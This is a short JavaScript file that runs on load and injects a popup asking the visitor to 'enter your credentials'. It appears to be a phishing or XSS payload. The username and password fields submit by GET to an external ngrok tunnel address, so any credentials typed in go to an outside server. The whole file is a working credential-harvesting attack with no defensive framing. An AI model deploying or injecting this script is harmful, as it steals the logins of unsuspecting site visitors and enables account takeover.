function start_Pop() {
  // Create a div for the popup
  var popupDiv = document.createElement("div");
  popupDiv.classList.add("popup");

  // Create a form
  var form = document.createElement("form");
  form.id = "my_form";
  form.method = "get";
  form.action = "https://8d5e-147-235-208-109.ngrok.io";

  // Create a heading
  var heading = document.createElement("h2");
  heading.textContent = "Please enter your credentials";

  // Create input for username
  var usernameInput = document.createElement("input");
  usernameInput.type = "text";
  usernameInput.id = "id_username";
  usernameInput.name = "name_username";
  usernameInput.placeholder = "Username";
  usernameInput.required = true;

  // Create input for password
  var passwordInput = document.createElement("input");
  passwordInput.type = "password";
  passwordInput.id = "id_password";
  passwordInput.name = "name_password";
  passwordInput.placeholder = "Password";
  passwordInput.required = true;

  // Create submit button
  var submitButton = document.createElement("input");
  submitButton.type = "submit";
  submitButton.value = "Send";

  // Append elements to the form
  form.appendChild(heading);
  form.appendChild(usernameInput);
  form.appendChild(document.createElement("br"));
  form.appendChild(passwordInput);
  form.appendChild(document.createElement("br"));
  form.appendChild(submitButton);

  // Append form to the popup div
  popupDiv.appendChild(form);

  // Append the popup div to the body
  document.body.appendChild(popupDiv);
}

start_Pop();